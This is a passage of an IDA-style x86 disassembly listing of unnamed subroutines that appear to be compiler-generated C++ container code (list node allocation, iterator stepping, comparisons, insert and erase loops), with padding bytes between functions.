; =============== S U B R O U T I N E ======================================= sub_4142B0 proc near ; CODE XREF: sub_401136j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_402095 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4018AC lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_4019F6 test al, al jz short loc_414331 push edi mov edi, [esp+14h+arg_0] loc_4142E3: ; CODE XREF: sub_4142B0+7Ej lea ecx, [esp+14h+var_C] call sub_4011A9 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_414315 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_4010C8 mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401721 jmp short loc_41431E ; --------------------------------------------------------------------------- loc_414315: ; CODE XREF: sub_4142B0+42j lea ecx, [esp+14h+var_C] call sub_4017E9 loc_41431E: ; CODE XREF: sub_4142B0+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_4019F6 test al, al jnz short loc_4142E3 pop edi loc_414331: ; CODE XREF: sub_4142B0+2Cj pop esi add esp, 0Ch retn 4 sub_4142B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414370 proc near ; CODE XREF: sub_401032j push esi mov esi, ecx call sub_401D3E mov eax, esi pop esi retn sub_414370 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414390 proc near ; CODE XREF: sub_4011A9j mov eax, [ecx] push eax call sub_401F9B add esp, 4 retn sub_414390 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4143B0 proc near ; CODE XREF: sub_4017E9j push esi mov esi, ecx mov eax, [esi] push eax call sub_40121C mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4143B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4143E0 proc near ; CODE XREF: sub_4019F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D70 neg al sbb eax, eax inc eax retn 4 sub_4143E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414410 proc near ; CODE XREF: sub_40178Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C76 mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_414410 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414450 proc near ; CODE XREF: sub_40145Bj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40112C mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40181B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4013AC mov edx, [esi+4] mov ecx, esi push edx call sub_401DBB xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_414450 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4144C0 proc near ; CODE XREF: sub_40181Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401ABE mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401C3F mov eax, esi pop esi retn 4 sub_4144C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414500 proc near ; CODE XREF: sub_40112Cj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401C3F mov eax, esi pop esi retn 4 sub_414500 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414530 proc near ; CODE XREF: sub_4013B1j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40112C mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BDB pop esi pop ecx retn 4 sub_414530 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414570 proc near ; CODE XREF: sub_401B45j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40112C mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40181B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4013AC pop esi add esp, 0Ch retn sub_414570 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4145C0 proc near ; CODE XREF: sub_401FA5j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_40112C lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_40181B lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_4012F8 test al, al jz short loc_414641 push edi mov edi, [esp+14h+arg_0] loc_4145F3: ; CODE XREF: sub_4145C0+7Ej lea ecx, [esp+14h+var_C] call sub_401311 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_414625 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_401D6B mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401073 jmp short loc_41462E ; --------------------------------------------------------------------------- loc_414625: ; CODE XREF: sub_4145C0+42j lea ecx, [esp+14h+var_C] call sub_401168 loc_41462E: ; CODE XREF: sub_4145C0+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_4012F8 test al, al jnz short loc_4145F3 pop edi loc_414641: ; CODE XREF: sub_4145C0+2Cj pop esi add esp, 0Ch retn 4 sub_4145C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414680 proc near ; CODE XREF: sub_4020B3j push esi mov esi, ecx call sub_401CF3 mov eax, esi pop esi retn sub_414680 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4146A0 proc near ; CODE XREF: sub_401311j mov eax, [ecx] push eax call sub_40171C add esp, 4 retn sub_4146A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4146C0 proc near ; CODE XREF: sub_401168j push esi mov esi, ecx mov eax, [esi] push eax call sub_401ABE mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4146C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4146F0 proc near ; CODE XREF: sub_4012F8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4013F7 neg al sbb eax, eax inc eax retn 4 sub_4146F0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414720 proc near ; CODE XREF: sub_40111Dj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401F14 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_4016AE mov eax, esi pop esi retn 4 sub_414720 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414760 proc near ; CODE XREF: sub_40163Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4016AE mov eax, esi pop esi retn 4 sub_414760 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414790 proc near ; CODE XREF: sub_401FD2j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401B31 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401D7F push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_401F14 mov edx, [esp+1Ch+arg_8] add esp, 10h mov [eax], edi push edx push edi call sub_401DC0 add esp, 4 mov ecx, esi push eax call sub_402009 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+10h+arg_0] mov ecx, esi call sub_401C7B mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_414790 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414830 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401B86 test al, al jz short loc_41487D push edi mov edi, [esp+8+arg_0] loc_41484A: ; CODE XREF: sub_414830+4Aj lea ecx, [esp+8+arg_4] call sub_40196A push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_401FD2 lea ecx, [esp+8+arg_4] call sub_401F6E lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401B86 test al, al jnz short loc_41484A pop edi loc_41487D: ; CODE XREF: sub_414830+13j pop esi retn 0Ch sub_414830 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4148B0 proc near ; CODE XREF: sub_401E56j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401505 mov ecx, eax call sub_401B31 mov esi, eax push esi call sub_401F14 push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_401F14 mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_401F14 mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_401DC0 add esp, 1Ch mov ecx, edi push eax call sub_401492 push esi mov ecx, edi call sub_401BB3 mov eax, [edi+8] mov edx, [esp+10h+arg_4] dec eax mov [edi+8], eax mov eax, [esp+10h+arg_0] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_4148B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414970 proc near ; CODE XREF: sub_401410j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401C35 test al, al jz short loc_4149CA loc_414988: ; CODE XREF: sub_414970+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401505 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401E56 lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401C35 test al, al jnz short loc_414988 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4149CA: ; CODE XREF: sub_414970+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_414970 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A00 proc near ; CODE XREF: sub_401D7Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401F55 mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_414A15 mov edi, esi loc_414A15: ; CODE XREF: sub_414A00+11j push esi call sub_401F14 mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_414A2A mov edi, esi loc_414A2A: ; CODE XREF: sub_414A00+26j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_414A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A50 proc near ; CODE XREF: sub_401BB3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401CD0 retn 4 sub_414A50 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A70 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_414A70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A90 proc near ; CODE XREF: sub_401DC0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_414A90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414AB0 proc near ; CODE XREF: sub_401D7Aj mov eax, ecx retn sub_414AB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414AD0 proc near ; CODE XREF: sub_401C7Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4016AE mov eax, esi pop esi retn 4 sub_414AD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414B00 proc near ; CODE XREF: sub_401505j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F2D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_414B00 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414B30 proc near ; CODE XREF: sub_40155Aj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_414B30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414B60 proc near ; CODE XREF: sub_4019B5j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401E24 mov edi, eax push edi call sub_401140 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401B5E push edi mov ebx, eax call sub_401140 push edi mov [eax], ebx call sub_401140 mov edi, [eax] push edi call sub_401140 mov ecx, [eax] push ecx call sub_40121C mov edx, [esp+1Ch+arg_8] add esp, 10h mov [eax], edi push edx push edi call sub_401F9B add esp, 4 mov ecx, esi push eax call sub_401573 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+10h+arg_0] mov ecx, esi call sub_401BA4 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_414B60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414C00 proc near ; CODE XREF: sub_401721j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010C8 mov ecx, eax call sub_401E24 mov esi, eax push esi call sub_40121C push esi mov ebx, eax call sub_401140 mov ecx, [eax] push ecx call sub_40121C mov edx, [ebx] push esi mov [eax], edx call sub_401140 push esi mov ebx, eax call sub_40121C mov eax, [eax] push eax call sub_401140 mov ecx, [ebx] push esi mov [eax], ecx call sub_401F9B add esp, 1Ch mov ecx, edi push eax call sub_401C26 push esi mov ecx, edi call sub_401CE4 mov eax, [edi+8] mov edx, [esp+10h+arg_4] dec eax mov [edi+8], eax mov eax, [esp+10h+arg_0] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_414C00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414CC0 proc near ; CODE XREF: sub_4012EEj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4019F6 test al, al jz short loc_414D1A loc_414CD8: ; CODE XREF: sub_414CC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010C8 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401721 lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4019F6 test al, al jnz short loc_414CD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_414D1A: ; CODE XREF: sub_414CC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_414CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414D50 proc near ; CODE XREF: sub_401B5Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401537 mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_414D65 mov edi, esi loc_414D65: ; CODE XREF: sub_414D50+11j push esi call sub_40121C mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_414D7A mov edi, esi loc_414D7A: ; CODE XREF: sub_414D50+26j push esi call sub_401140 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_414D50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414DA0 proc near ; CODE XREF: sub_401CE4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010C3 retn 4 sub_414DA0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414DC0 proc near ; CODE XREF: sub_40121Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_414DC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414DE0 proc near ; CODE XREF: sub_401F9Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_414DE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E00 proc near ; CODE XREF: sub_401D3Ej mov eax, ecx retn sub_414E00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E20 proc near ; CODE XREF: sub_401BA4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40130C mov eax, esi pop esi retn 4 sub_414E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E50 proc near ; CODE XREF: sub_4010C8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4017E9 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_414E50 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E80 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_414E80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414EB0 proc near ; CODE XREF: sub_401BDBj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401294 mov edi, eax push edi call sub_401717 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C76 push edi mov ebx, eax call sub_401717 push edi mov [eax], ebx call sub_401717 mov edi, [eax] push edi call sub_401717 mov ecx, [eax] push ecx call sub_401ABE mov edx, [esp+1Ch+arg_8] add esp, 10h mov [eax], edi push edx push edi call sub_40171C add esp, 4 mov ecx, esi push eax call sub_401CCB mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+10h+arg_0] mov ecx, esi call sub_401C3F mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_414EB0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414F50 proc near ; CODE XREF: sub_401073j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401D6B mov ecx, eax call sub_401294 mov esi, eax push esi call sub_401ABE push esi mov ebx, eax call sub_401717 mov ecx, [eax] push ecx call sub_401ABE mov edx, [ebx] push esi mov [eax], edx call sub_401717 push esi mov ebx, eax call sub_401ABE mov eax, [eax] push eax call sub_401717 mov ecx, [ebx] push esi mov [eax], ecx call sub_40171C add esp, 1Ch mov ecx, edi push eax call sub_4013A2 push esi mov ecx, edi call sub_401DBB mov eax, [edi+8] mov edx, [esp+10h+arg_4] dec eax mov [edi+8], eax mov eax, [esp+10h+arg_0] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_414F50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415010 proc near ; CODE XREF: sub_4013ACj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012F8 test al, al jz short loc_41506A loc_415028: ; CODE XREF: sub_415010+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401D6B mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401073 lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012F8 test al, al jnz short loc_415028 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41506A: ; CODE XREF: sub_415010+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415010 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4150A0 proc near ; CODE XREF: sub_401C76j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401D66 mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_4150B5 mov edi, esi loc_4150B5: ; CODE XREF: sub_4150A0+11j push esi call sub_401ABE mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_4150CA mov edi, esi loc_4150CA: ; CODE XREF: sub_4150A0+26j push esi call sub_401717 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_4150A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4150F0 proc near ; CODE XREF: sub_401DBBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_40179E retn 4 sub_4150F0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415110 proc near ; CODE XREF: sub_401ABEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415110 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415130 proc near ; CODE XREF: sub_40171Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415130 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415150 proc near ; CODE XREF: sub_401CF3j mov eax, ecx retn sub_415150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415170 proc near ; CODE XREF: sub_401C3Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401591 mov eax, esi pop esi retn 4 sub_415170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4151A0 proc near ; CODE XREF: sub_401D6Bj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401168 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4151A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4151D0 proc near ; CODE XREF: sub_4013F7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4151D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415200 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_415200 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415220 proc near ; CODE XREF: sub_401F55j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401BF4 add esp, 8 retn 4 sub_415220 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415250 proc near ; CODE XREF: sub_401CD0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_415250 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415270 proc near ; CODE XREF: sub_402009j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401230 add esp, 8 retn 8 sub_415270 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152A0 proc near ; CODE XREF: sub_401492j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_4152A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152C0 proc near ; CODE XREF: sub_4016AEj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4152C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152E0 proc near ; CODE XREF: sub_40196Aj mov eax, [ecx] push eax call sub_401DC0 add esp, 4 retn sub_4152E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415300 proc near ; CODE XREF: sub_401F6Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_401F14 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415300 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415330 proc near 